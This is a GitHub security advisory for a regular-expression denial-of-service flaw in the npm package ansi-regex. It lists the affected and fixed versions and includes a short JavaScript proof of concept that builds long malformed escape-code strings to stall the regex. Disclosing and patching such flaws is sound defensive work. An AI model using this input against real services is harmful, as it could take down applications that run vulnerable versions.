GHSA-93q8-gq69-wqmw

Source
https://github.com/advisories/GHSA-93q8-gq69-wqmw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json
Aliases
Published
2021-09-20T20:20:09Z
Modified
2023-11-08T04:06:25.310142Z
Summary
Inefficient Regular Expression Complexity in chalk/ansi-regex
Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

References

Affected packages

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.0.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.0.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.1.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.0.1